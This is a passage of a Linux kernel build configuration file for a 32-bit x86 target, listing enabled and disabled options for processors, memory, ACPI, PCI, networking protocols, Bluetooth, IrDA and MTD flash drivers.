CONFIG_X86_FAST_FEATURE_TESTS=y
# CONFIG_X86_MPPARSE is not set
# CONFIG_GOLDFISH is not set
CONFIG_INTEL_RDT_A=y
# CONFIG_X86_EXTENDED_PLATFORM is not set
# CONFIG_X86_INTEL_LPSS is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_IOSF_MBI=m
CONFIG_IOSF_MBI_DEBUG=y
# CONFIG_X86_32_IRIS is not set
# CONFIG_SCHED_OMIT_FRAME_POINTER is not set
CONFIG_HYPERVISOR_GUEST=y
CONFIG_PARAVIRT=y
# CONFIG_PARAVIRT_DEBUG is not set
# CONFIG_XEN is not set
CONFIG_KVM_GUEST=y
# CONFIG_KVM_DEBUG_FS is not set
# CONFIG_LGUEST_GUEST is not set
# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set
CONFIG_PARAVIRT_CLOCK=y
CONFIG_NO_BOOTMEM=y
# CONFIG_M486 is not set
# CONFIG_M586 is not set
# CONFIG_M586TSC is not set
# CONFIG_M586MMX is not set
# CONFIG_M686 is not set
# CONFIG_MPENTIUMII is not set
# CONFIG_MPENTIUMIII is not set
# CONFIG_MPENTIUMM is not set
# CONFIG_MPENTIUM4 is not set
# CONFIG_MK6 is not set
# CONFIG_MK7 is not set
# CONFIG_MK8 is not set
# CONFIG_MCRUSOE is not set
# CONFIG_MEFFICEON is not set
# CONFIG_MWINCHIPC6 is not set
# CONFIG_MWINCHIP3D is not set
# CONFIG_MELAN is not set
# CONFIG_MGEODEGX1 is not set
# CONFIG_MGEODE_LX is not set
# CONFIG_MCYRIXIII is not set
# CONFIG_MVIAC3_2 is not set
# CONFIG_MVIAC7 is not set
CONFIG_MCORE2=y
# CONFIG_MATOM is not set
CONFIG_X86_GENERIC=y
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_INTEL_USERCOPY=y
CONFIG_X86_USE_PPRO_CHECKSUM=y
CONFIG_X86_TSC=y
CONFIG_X86_CMPXCHG64=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=5
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
CONFIG_CPU_SUP_CENTAUR=y
CONFIG_CPU_SUP_TRANSMETA_32=y
CONFIG_HPET_TIMER=y
CONFIG_DMI=y
CONFIG_SWIOTLB=y
CONFIG_IOMMU_HELPER=y
CONFIG_NR_CPUS=1
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_UP_LATE_INIT=y
CONFIG_X86_UP_APIC=y
CONFIG_X86_UP_IOAPIC=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y
# CONFIG_X86_MCE is not set

#
# Performance monitoring
#
CONFIG_PERF_EVENTS_INTEL_UNCORE=y
# CONFIG_PERF_EVENTS_INTEL_RAPL is not set
CONFIG_PERF_EVENTS_INTEL_CSTATE=m
CONFIG_PERF_EVENTS_AMD_POWER=y
CONFIG_X86_LEGACY_VM86=y
CONFIG_VM86=y
CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX32=y
# CONFIG_TOSHIBA is not set
# CONFIG_I8K is not set
# CONFIG_X86_REBOOTFIXUPS is not set
# CONFIG_MICROCODE is not set
CONFIG_X86_MSR=m
# CONFIG_X86_CPUID is not set
CONFIG_NOHIGHMEM=y
# CONFIG_HIGHMEM4G is not set
# CONFIG_HIGHMEM64G is not set
CONFIG_PAGE_OFFSET=0xC0000000
CONFIG_X86_PAE=y
CONFIG_ARCH_PHYS_ADDR_T_64BIT=y
CONFIG_NEED_NODE_MEMMAP_SIZE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ILLEGAL_POINTER_VALUE=0
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_SPARSEMEM_MANUAL=y
CONFIG_SPARSEMEM=y
CONFIG_HAVE_MEMORY_PRESENT=y
CONFIG_SPARSEMEM_STATIC=y
CONFIG_HAVE_MEMBLOCK=y
CONFIG_HAVE_MEMBLOCK_NODE_MAP=y
CONFIG_ARCH_DISCARD_MEMBLOCK=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_BOUNCE=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_TRANSPARENT_HUGEPAGE is not set
CONFIG_NEED_PER_CPU_KM=y
CONFIG_CLEANCACHE=y
# CONFIG_FRONTSWAP is not set
# CONFIG_CMA is not set
# CONFIG_ZPOOL is not set
# CONFIG_ZBUD is not set
# CONFIG_ZSMALLOC is not set
CONFIG_GENERIC_EARLY_IOREMAP=y
CONFIG_ARCH_SUPPORTS_DEFERRED_STRUCT_PAGE_INIT=y
CONFIG_IDLE_PAGE_TRACKING=y
CONFIG_FRAME_VECTOR=y
# CONFIG_X86_PMEM_LEGACY is not set
CONFIG_X86_CHECK_BIOS_CORRUPTION=y
CONFIG_X86_BOOTPARAM_MEMORY_CORRUPTION_CHECK=y
CONFIG_X86_RESERVE_LOW=64
CONFIG_MATH_EMULATION=y
CONFIG_MTRR=y
CONFIG_MTRR_SANITIZER=y
CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0
CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1
CONFIG_X86_PAT=y
CONFIG_ARCH_USES_PG_UNCACHED=y
CONFIG_ARCH_RANDOM=y
CONFIG_X86_SMAP=y
CONFIG_X86_INTEL_MPX=y
# CONFIG_EFI is not set
# CONFIG_SECCOMP is not set
# CONFIG_HZ_100 is not set
# CONFIG_HZ_250 is not set
CONFIG_HZ_300=y
# CONFIG_HZ_1000 is not set
CONFIG_HZ=300
# CONFIG_SCHED_HRTICK is not set
# CONFIG_KEXEC is not set
CONFIG_PHYSICAL_START=0x1000000
# CONFIG_RELOCATABLE is not set
CONFIG_PHYSICAL_ALIGN=0x200000
# CONFIG_COMPAT_VDSO is not set
# CONFIG_CMDLINE_BOOL is not set
CONFIG_MODIFY_LDT_SYSCALL=y

#
# Power management and ACPI options
#
# CONFIG_SUSPEND is not set
# CONFIG_HIBERNATION is not set
# CONFIG_PM is not set
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
CONFIG_ACPI_DEBUGGER=y
CONFIG_ACPI_DEBUGGER_USER=y
# CONFIG_ACPI_PROCFS_POWER is not set
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=m
CONFIG_ACPI_BUTTON=m
CONFIG_ACPI_VIDEO=m
# CONFIG_ACPI_FAN is not set
# CONFIG_ACPI_DOCK is not set
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_PROCESSOR=m
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=m
# CONFIG_ACPI_CUSTOM_DSDT is not set
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_DEBUG=y
# CONFIG_ACPI_PCI_SLOT is not set
CONFIG_X86_PM_TIMER=y
CONFIG_ACPI_CONTAINER=y
CONFIG_ACPI_HOTPLUG_IOAPIC=y
CONFIG_ACPI_SBS=m
CONFIG_ACPI_HED=y
CONFIG_ACPI_CUSTOM_METHOD=y
# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set
# CONFIG_ACPI_NFIT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
CONFIG_DPTF_POWER=y
# CONFIG_PMIC_OPREGION is not set
CONFIG_ACPI_CONFIGFS=y
# CONFIG_SFI is not set

#
# CPU Frequency scaling
#
# CONFIG_CPU_FREQ is not set

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
CONFIG_CPU_IDLE_GOV_LADDER=y
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set
CONFIG_INTEL_IDLE=y

#
# Bus options (PCI etc.)
#
CONFIG_PCI=y
# CONFIG_PCI_GOBIOS is not set
# CONFIG_PCI_GOMMCONFIG is not set
CONFIG_PCI_GODIRECT=y
# CONFIG_PCI_GOANY is not set
CONFIG_PCI_DIRECT=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
# CONFIG_HOTPLUG_PCI_PCIE is not set
# CONFIG_PCIEAER is not set
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_DEBUG=y
# CONFIG_PCIEASPM_DEFAULT is not set
# CONFIG_PCIEASPM_POWERSAVE is not set
CONFIG_PCIEASPM_PERFORMANCE=y
CONFIG_PCIE_DPC=y
# CONFIG_PCIE_PTM is not set
CONFIG_PCI_MSI=y
CONFIG_PCI_MSI_IRQ_DOMAIN=y
# CONFIG_PCI_DEBUG is not set
CONFIG_PCI_REALLOC_ENABLE_AUTO=y
CONFIG_PCI_STUB=m
# CONFIG_HT_IRQ is not set
CONFIG_PCI_ATS=y
# CONFIG_PCI_IOV is not set
CONFIG_PCI_PRI=y
CONFIG_PCI_PASID=y
CONFIG_PCI_LABEL=y
CONFIG_HOTPLUG_PCI=y
CONFIG_HOTPLUG_PCI_ACPI=y
CONFIG_HOTPLUG_PCI_ACPI_IBM=m
# CONFIG_HOTPLUG_PCI_CPCI is not set
CONFIG_HOTPLUG_PCI_SHPC=m

#
# PCI host controller drivers
#
# CONFIG_PCIE_DW_PLAT is not set
CONFIG_ISA_DMA_API=y
# CONFIG_ISA is not set
# CONFIG_SCx200 is not set
# CONFIG_ALIX is not set
CONFIG_NET5501=y
CONFIG_GEOS=y
CONFIG_AMD_NB=y
CONFIG_PCCARD=y
CONFIG_PCMCIA=m
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
CONFIG_I82092=m
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_RAPIDIO is not set
# CONFIG_X86_SYSFB is not set

#
# Executable file formats / Emulations
#
CONFIG_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_HAVE_AOUT=y
# CONFIG_BINFMT_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_COREDUMP=y
CONFIG_COMPAT_32=y
CONFIG_HAVE_ATOMIC_IOMAP=y
CONFIG_PMC_ATOM=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=m
CONFIG_UNIX=y
CONFIG_UNIX_DIAG=m
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=y
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
# CONFIG_XFRM_MIGRATE is not set
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_IPCOMP=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
# CONFIG_IP_PNP_BOOTP is not set
# CONFIG_IP_PNP_RARP is not set
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
# CONFIG_SYN_COOKIES is not set
CONFIG_NET_IPVTI=m
CONFIG_NET_UDP_TUNNEL=y
CONFIG_NET_FOU=y
CONFIG_NET_FOU_IP_TUNNELS=y
CONFIG_INET_AH=m
CONFIG_INET_ESP=y
CONFIG_INET_IPCOMP=y
CONFIG_INET_XFRM_TUNNEL=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=y
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
CONFIG_INET_UDP_DIAG=m
# CONFIG_INET_RAW_DIAG is not set
# CONFIG_INET_DIAG_DESTROY is not set
CONFIG_TCP_CONG_ADVANCED=y
# CONFIG_TCP_CONG_BIC is not set
CONFIG_TCP_CONG_CUBIC=m
# CONFIG_TCP_CONG_WESTWOOD is not set
CONFIG_TCP_CONG_HTCP=m
# CONFIG_TCP_CONG_HSTCP is not set
# CONFIG_TCP_CONG_HYBLA is not set
CONFIG_TCP_CONG_VEGAS=m
# CONFIG_TCP_CONG_NV is not set
CONFIG_TCP_CONG_SCALABLE=m
CONFIG_TCP_CONG_LP=y
CONFIG_TCP_CONG_VENO=y
CONFIG_TCP_CONG_YEAH=m
CONFIG_TCP_CONG_ILLINOIS=y
CONFIG_TCP_CONG_DCTCP=m
CONFIG_TCP_CONG_CDG=y
CONFIG_TCP_CONG_BBR=y
CONFIG_DEFAULT_VENO=y
# CONFIG_DEFAULT_CDG is not set
# CONFIG_DEFAULT_BBR is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="veno"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NET_PTP_CLASSIFY=y
CONFIG_NETWORK_PHY_TIMESTAMPING=y
# CONFIG_NETFILTER is not set
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration
#
CONFIG_IP_DCCP_CCID2_DEBUG=y
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=y
CONFIG_SCTP_DBG_OBJCNT=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_MD5 is not set
CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA1=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set
# CONFIG_SCTP_COOKIE_HMAC_MD5 is not set
CONFIG_SCTP_COOKIE_HMAC_SHA1=y
CONFIG_INET_SCTP_DIAG=m
# CONFIG_RDS is not set
CONFIG_TIPC=m
CONFIG_TIPC_MEDIA_UDP=y
# CONFIG_ATM is not set
CONFIG_L2TP=y
CONFIG_L2TP_DEBUGFS=m
CONFIG_L2TP_V3=y
# CONFIG_L2TP_IP is not set
CONFIG_L2TP_ETH=m
CONFIG_STP=m
CONFIG_GARP=m
CONFIG_MRP=m
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
CONFIG_NET_DSA=m
CONFIG_NET_DSA_HWMON=y
CONFIG_NET_DSA_TAG_BRCM=y
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y
CONFIG_DECNET=m
CONFIG_DECNET_ROUTER=y
CONFIG_LLC=y
CONFIG_LLC2=y
# CONFIG_IPX is not set
CONFIG_ATALK=y
CONFIG_DEV_APPLETALK=m
CONFIG_IPDDP=m
CONFIG_IPDDP_ENCAP=y
# CONFIG_X25 is not set
CONFIG_LAPB=y
CONFIG_PHONET=m
CONFIG_IEEE802154=y
CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y
CONFIG_IEEE802154_SOCKET=y
CONFIG_MAC802154=y
# CONFIG_NET_SCHED is not set
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
CONFIG_BATMAN_ADV=m
CONFIG_BATMAN_ADV_BATMAN_V=y
CONFIG_BATMAN_ADV_BLA=y
CONFIG_BATMAN_ADV_DAT=y
CONFIG_BATMAN_ADV_NC=y
CONFIG_BATMAN_ADV_MCAST=y
CONFIG_BATMAN_ADV_DEBUGFS=y
# CONFIG_BATMAN_ADV_DEBUG is not set
# CONFIG_OPENVSWITCH is not set
CONFIG_VSOCKETS=m
CONFIG_VMWARE_VMCI_VSOCKETS=m
CONFIG_VIRTIO_VSOCKETS_COMMON=m
# CONFIG_NETLINK_DIAG is not set
CONFIG_MPLS=y
# CONFIG_NET_MPLS_GSO is not set
CONFIG_MPLS_ROUTING=m
CONFIG_MPLS_IPTUNNEL=m
CONFIG_HSR=m
CONFIG_NET_SWITCHDEV=y
CONFIG_NET_L3_MASTER_DEV=y
CONFIG_NET_NCSI=y
# CONFIG_SOCK_CGROUP_DATA is not set
# CONFIG_CGROUP_NET_PRIO is not set
# CONFIG_CGROUP_NET_CLASSID is not set
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y

#
# Network testing
#
CONFIG_NET_PKTGEN=y
CONFIG_NET_DROP_MONITOR=y
# CONFIG_HAMRADIO is not set
CONFIG_CAN=y
CONFIG_CAN_RAW=y
# CONFIG_CAN_BCM is not set
# CONFIG_CAN_GW is not set

#
# CAN Device Drivers
#
CONFIG_CAN_VCAN=y
CONFIG_CAN_SLCAN=m
# CONFIG_CAN_DEV is not set
# CONFIG_CAN_DEBUG_DEVICES is not set
CONFIG_IRDA=y

#
# IrDA protocols
#
# CONFIG_IRLAN is not set
# CONFIG_IRNET is not set
# CONFIG_IRCOMM is not set
CONFIG_IRDA_ULTRA=y

#
# IrDA options
#
CONFIG_IRDA_CACHE_LAST_LSAP=y
CONFIG_IRDA_FAST_RR=y
CONFIG_IRDA_DEBUG=y

#
# Infrared-port device drivers
#

#
# SIR device drivers
#
# CONFIG_IRTTY_SIR is not set

#
# Dongle support
#
CONFIG_KINGSUN_DONGLE=m
CONFIG_KSDAZZLE_DONGLE=m
CONFIG_KS959_DONGLE=y

#
# FIR device drivers
#
# CONFIG_USB_IRDA is not set
CONFIG_SIGMATEL_FIR=y
# CONFIG_NSC_FIR is not set
CONFIG_WINBOND_FIR=y
# CONFIG_TOSHIBA_FIR is not set
CONFIG_SMC_IRCC_FIR=y
CONFIG_ALI_FIR=y
CONFIG_VLSI_FIR=m
CONFIG_VIA_FIR=y
CONFIG_MCS_FIR=y
CONFIG_BT=m
CONFIG_BT_BREDR=y
CONFIG_BT_RFCOMM=y
# CONFIG_BT_RFCOMM_TTY is not set
CONFIG_BT_BNEP=m
CONFIG_BT_BNEP_MC_FILTER=y
# CONFIG_BT_BNEP_PROTO_FILTER is not set
# CONFIG_BT_HIDP is not set
CONFIG_BT_HS=y
# CONFIG_BT_LE is not set
CONFIG_BT_LEDS=y
# CONFIG_BT_SELFTEST is not set
# CONFIG_BT_DEBUGFS is not set

#
# Bluetooth device drivers
#
CONFIG_BT_INTEL=m
CONFIG_BT_BCM=m
CONFIG_BT_QCA=m
# CONFIG_BT_HCIBTUSB is not set
# CONFIG_BT_HCIBTSDIO is not set
CONFIG_BT_HCIUART=m
CONFIG_BT_HCIUART_H4=y
CONFIG_BT_HCIUART_BCSP=y
CONFIG_BT_HCIUART_ATH3K=y
# CONFIG_BT_HCIUART_LL is not set
# CONFIG_BT_HCIUART_3WIRE is not set
# CONFIG_BT_HCIUART_INTEL is not set
CONFIG_BT_HCIUART_BCM=y
CONFIG_BT_HCIUART_QCA=y
CONFIG_BT_HCIUART_AG6XX=y
# CONFIG_BT_HCIUART_MRVL is not set
CONFIG_BT_HCIBCM203X=m
# CONFIG_BT_HCIBPA10X is not set
# CONFIG_BT_HCIBFUSB is not set
CONFIG_BT_HCIDTL1=m
CONFIG_BT_HCIBT3C=m
CONFIG_BT_HCIBLUECARD=m
CONFIG_BT_HCIBTUART=m
CONFIG_BT_HCIVHCI=m
CONFIG_BT_MRVL=m
CONFIG_BT_MRVL_SDIO=m
CONFIG_AF_RXRPC=y
# CONFIG_AF_RXRPC_INJECT_LOSS is not set
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=y
CONFIG_AF_KCM=m
CONFIG_STREAM_PARSER=m
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WIRELESS_EXT=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_WEXT_SPY=y
CONFIG_WEXT_PRIV=y
CONFIG_CFG80211=m
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_DEFAULT_PS is not set
# CONFIG_CFG80211_DEBUGFS is not set
# CONFIG_CFG80211_INTERNAL_REGDB is not set
CONFIG_CFG80211_CRDA_SUPPORT=y
CONFIG_CFG80211_WEXT=y
CONFIG_CFG80211_WEXT_EXPORT=y
CONFIG_LIB80211=m
CONFIG_LIB80211_CRYPT_WEP=m
CONFIG_LIB80211_CRYPT_CCMP=m
CONFIG_LIB80211_CRYPT_TKIP=m
CONFIG_LIB80211_DEBUG=y
# CONFIG_MAC80211 is not set
CONFIG_MAC80211_STA_HASH_MAX_SIZE=0
# CONFIG_WIMAX is not set
CONFIG_RFKILL=m
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
# CONFIG_RFKILL_REGULATOR is not set
CONFIG_RFKILL_GPIO=m
# CONFIG_NET_9P is not set
CONFIG_CAIF=m
CONFIG_CAIF_DEBUG=y
CONFIG_CAIF_NETDEV=m
# CONFIG_CAIF_USB is not set
CONFIG_CEPH_LIB=y
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set
CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y
# CONFIG_NFC is not set
CONFIG_LWTUNNEL=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_DST_CACHE=y
# CONFIG_NET_DEVLINK is not set
CONFIG_MAY_USE_DEVLINK=y

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
# CONFIG_FIRMWARE_IN_KERNEL is not set
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y
CONFIG_WANT_DEV_COREDUMP=y
CONFIG_ALLOW_DEV_COREDUMP=y
CONFIG_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
CONFIG_DEBUG_TEST_DRIVER_REMOVE=y
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_REGMAP=y
CONFIG_REGMAP_I2C=y
CONFIG_REGMAP_SPI=y
CONFIG_REGMAP_SPMI=m
CONFIG_REGMAP_MMIO=y
CONFIG_REGMAP_IRQ=y
CONFIG_DMA_SHARED_BUFFER=y
CONFIG_DMA_FENCE_TRACE=y

#
# Bus devices
#
CONFIG_CONNECTOR=m
CONFIG_MTD=m
# CONFIG_MTD_TESTS is not set
CONFIG_MTD_REDBOOT_PARTS=m
CONFIG_MTD_REDBOOT_DIRECTORY_BLOCK=-1
# CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED is not set
CONFIG_MTD_REDBOOT_PARTS_READONLY=y
CONFIG_MTD_CMDLINE_PARTS=m
CONFIG_MTD_OF_PARTS=m
CONFIG_MTD_AR7_PARTS=m

#
# User Modules And Translation Layers
#
CONFIG_MTD_BLKDEVS=m
# CONFIG_MTD_BLOCK is not set
CONFIG_MTD_BLOCK_RO=m
CONFIG_FTL=m
CONFIG_NFTL=m
CONFIG_NFTL_RW=y
CONFIG_INFTL=m
CONFIG_RFD_FTL=m
CONFIG_SSFDC=m
# CONFIG_SM_FTL is not set
CONFIG_MTD_OOPS=m
CONFIG_MTD_SWAP=m
# CONFIG_MTD_PARTITIONED_MASTER is not set

#
# RAM/ROM/Flash chip drivers
#
# CONFIG_MTD_CFI is not set
CONFIG_MTD_JEDECPROBE=m
CONFIG_MTD_GEN_PROBE=m
CONFIG_MTD_CFI_ADV_OPTIONS=y
# CONFIG_MTD_CFI_NOSWAP is not set
CONFIG_MTD_CFI_BE_BYTE_SWAP=y
# CONFIG_MTD_CFI_LE_BYTE_SWAP is not set
# CONFIG_MTD_CFI_GEOMETRY is not set
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
# CONFIG_MTD_MAP_BANK_WIDTH_8 is not set
# CONFIG_MTD_MAP_BANK_WIDTH_16 is not set
# CONFIG_MTD_MAP_BANK_WIDTH_32 is not set
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
# CONFIG_MTD_CFI_I4 is not set
# CONFIG_MTD_CFI_I8 is not set
# CONFIG_MTD_OTP is not set
CONFIG_MTD_CFI_INTELEXT=m
CONFIG_MTD_CFI_AMDSTD=m
CONFIG_MTD_CFI_STAA=m
CONFIG_MTD_CFI_UTIL=m
CONFIG_MTD_RAM=m
# CONFIG_MTD_ROM is not set
# CONFIG_MTD_ABSENT is not set

#
# Mapping drivers for chip access
#
# CONFIG_MTD_COMPLEX_MAPPINGS is not set
# CONFIG_MTD_PHYSMAP is not set
CONFIG_MTD_PHYSMAP_OF=m
CONFIG_MTD_PHYSMAP_OF_VERSATILE=y
# CONFIG_MTD_AMD76XROM is not set
CONFIG_MTD_ICHXROM=m
CONFIG_MTD_ESB2ROM=m
CONFIG_MTD_CK804XROM=m
CONFIG_MTD_SCB2_FLASH=m
CONFIG_MTD_NETtel=m
# CONFIG_MTD_L440GX is not set
CONFIG_MTD_INTEL_VR_NOR=m
# CONFIG_MTD_PLATRAM is not set

#
# Self-contained MTD device drivers
#
CONFIG_MTD_PMC551=m
# CONFIG_MTD_PMC551_BUGFIX is not set
# CONFIG_MTD_PMC551_DEBUG is not set
CONFIG_MTD_DATAFLASH=m
# CONFIG_MTD_DATAFLASH_WRITE_VERIFY is not set
# CONFIG_MTD_DATAFLASH_OTP is not set
CONFIG_MTD_M25P80=m
# CONFIG_MTD_SST25L is not set
CONFIG_MTD_SLRAM=m
# CONFIG_MTD_PHRAM is not set
# CONFIG_MTD_MTDRAM is not set
CONFIG_MTD_BLOCK2MTD=m

#
# Disk-On-Chip Device Drivers
#
# CONFIG_MTD_DOCG3 is not set
CONFIG_MTD_NAND_ECC=m
CONFIG_MTD_NAND_ECC_SMC=y
CONFIG_MTD_NAND=m
CONFIG_MTD_NAND_BCH=m
CONFIG_MTD_NAND_ECC_BCH=y
CONFIG_MTD_SM_COMMON=m
CONFIG_MTD_NAND_DENALI=m
CONFIG_MTD_NAND_DENALI_PCI=m
# CONFIG_MTD_NAND_DENALI_DT is not set
CONFIG_MTD_NAND_DENALI_SCRATCH_REG_ADDR=0xFF108018
CONFIG_MTD_NAND_GPIO=m
# CONFIG_MTD_NAND_OMAP_BCH_BUILD is not set
CONFIG_MTD_NAND_IDS=m
CONFIG_MTD_NAND_RICOH=m
CONFIG_MTD_NAND_DISKONCHIP=m
CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADVANCED=y
CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADDRESS=0
# CONFIG_MTD_NAND_DISKONCHIP_PROBE_HIGH is not set
CONFIG_MTD_NAND_DISKONCHIP_BBTWRITE=y
# CONFIG_MTD_NAND_DOCG4 is not set
CONFIG_MTD_NAND_CAFE=m
# CONFIG_MTD_NAND_CS553X is not set
CONFIG_MTD_NAND_NANDSIM=m
CONFIG_MTD_NAND_PLATFORM=m
# CONFIG_MTD_NAND_OXNAS is not set
CONFIG_MTD_NAND_HISI504=m
CONFIG_MTD_NAND_MTK=m
# CONFIG_MTD_ONENAND is not set

#
# LPDDR & LPDDR2 PCM memory drivers
#
CONFIG_MTD_LPDDR=m
CONFIG_MTD_QINFO_PROBE=m
CONFIG_MTD_SPI_NOR=m
CONFIG_MTD_MT81xx_NOR=m
CONFIG_MTD_SPI_NOR_USE_4K_SECTORS=y
CONFIG_MTD_UBI=m
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
CONFIG_MTD_UBI_FASTMAP=y
# CONFIG_MTD_UBI_GLUEBI is not set
CONFIG_MTD_UBI_BLOCK=y
CONFIG_DTC=y
CONFIG_OF=y
CONFIG_OF_UNITTEST=y
CONFIG_OF_FLATTREE=y
CONFIG_OF_EARLY_FLATTREE=y
CONFIG_OF_DYNAMIC=y
CONFIG_OF_ADDRESS=y
CONFIG_OF_ADDRESS_PCI=y
